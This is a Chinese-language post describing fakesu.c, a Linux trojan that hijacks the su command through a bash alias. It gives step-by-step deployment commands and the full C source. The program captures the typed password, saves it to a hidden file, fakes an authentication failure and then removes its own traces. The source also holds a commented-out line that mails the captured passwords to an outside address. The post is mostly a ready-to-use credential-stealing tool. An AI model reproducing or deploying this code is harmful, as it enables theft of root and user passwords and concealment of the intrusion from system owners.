fakesu-记录linux的su命令口令
听说有个叫做fakesu.c的程序可以记录linux的su命令的口令,很是神奇,于是找来看看。找到源码后一看,才发觉原来如此简单,就是利用alias命令将自己写的程序命名为su,这样用户再次登录后使用的su便不是正牌的su,而是一个冒牌货。当用户执行su命令输入口令后,无论正确与否,冒牌货都将口令写入到一个文件中,或是以邮件的形式发送给攻击者,然后冒牌货会删除自己,以免被发现。若是被发现,用户及时地修改了口令,攻击者便会功亏一篑。
使用步骤如下:
- 修改源码中宏定义USERNAME为目标用户名
- gcc -o .su fakesu.c
- rm fakesu.c
- mv .su /var/tmp/su
- cp .bash_profile .wgetrc || echo > .wgetrc
- echo “alias su=/var/tmp/su”>>.bash_profile
查看记录到的口令:
cat /var/tmp/.pwds
需要说明的是,冒牌货删除自己后会创建符号连接:
ln -s /bin/su /var/tmp/su
这样在此之后,用户再执行su命令,使用的便是真正的su命令了。
创建符号连接是因为就算将.bash_profile文件修改回来了,也要等用户下次登录才生效,在这里
unalias su
和
source .bash_profile
均无法取消别名。
附:fakesu.c的源码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define USERNAME "werner"
int main(int argc, char *argv[]){
FILE *fp;
char *user;
char *pass;
char filex[100];
char clean[1000];
sprintf(filex,"/var/tmp/.pwds");
sprintf(clean,"rm -f /var/tmp/su 1>/dev/null 2>&1;"
"mv -f /home/"USERNAME"/.wgetrc /home/"USERNAME"/.bash_profile;"
"rm -f /home/"USERNAME"/.wgetrc;"
"ln -s /bin/su /var/tmp/su;");
if(argc==1) user="root";
if(argc==2) user=argv[1];
if(argc>2){
if(strcmp(argv[1], "-l")==0)
user=argv[2];
else user=argv[1];}
fprintf(stdout,"Password: ");
pass=getpass("");
system("sleep 3");
fprintf(stdout,"su: Authentication failure\n");
if ((fp=fopen(filex,"w")) != NULL)
{
fprintf(fp, "%s:%s\n", user, pass);
fclose(fp);
}
system(clean);
/* If you want password in your e-mail uncomment this line: */
// system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail USERNAME@qq.com");
return 0;
}